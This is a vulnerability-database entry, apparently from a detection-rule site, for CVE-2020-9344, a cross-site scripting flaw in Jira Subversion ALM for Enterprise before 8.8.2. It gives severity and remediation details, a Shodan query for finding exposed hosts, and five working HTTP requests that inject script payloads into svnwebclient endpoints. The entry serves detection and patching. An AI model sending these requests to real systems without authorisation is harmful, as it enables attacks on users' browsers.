🔙 목록으로 돌아가기

CVE-2020-9344: Jira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting

TitleJira Subversion ALM for Enterprise <8.8.2 - Cross-Site Scripting
Authormadrobot
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
RemediationUpgrade Jira Subversion ALM for Enterprise to version 8.8.2 or later to mitigate this vulnerability.
CVSS Score6.1
EPSS Score0.36969
CVE IDCVE-2020-9344
CWE IDCWE-79
Shodan Queryhttp.component:"Atlassian Jira"http.component:"atlassian jira"
Tags cve2020 cve atlassian jira xss vkev vuln

🔍 Vulnerability Description

Jira Subversion ALM for Enterprise before 8.8.2 contains a cross-site scripting vulnerability at multiple locations.

🌐 HTTP Request

GET /plugins/servlet/svnwebclient/changedResource.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:78.0) Gecko/20100101 Firefox/78.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/commitGraph.jsp?%27)%3Balert(%22XSS HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/commitGraph.jsp?url=%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/error.jsp?errormessage=%27%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&description=test HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /plugins/servlet/svnwebclient/statsItem.jsp?url=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-9344.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-9344.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A